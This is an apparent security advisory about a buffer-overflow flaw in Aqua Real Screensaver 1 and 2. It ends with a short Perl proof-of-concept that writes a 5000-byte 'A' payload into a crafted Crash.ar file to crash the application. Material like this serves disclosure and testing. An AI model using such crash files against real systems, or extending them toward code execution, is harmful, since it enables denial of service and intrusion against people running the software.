source: https://www.securityfocus.com/bid/40606/info Aqua Real Screensaver is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the vulnerable application. Failed attacks will cause denial-of-service conditions. Aqua Real 1 and 2 are vulnerable; other versions may also be affected. #!c/perl/bin/ my $file= "Crash.ar"; my $boom="\x41" x 5000; open(myfile,'>>Crash.ar') || die "Cannot Creat file\n\n"; print myfile $boom; print "Done..!~#\n";
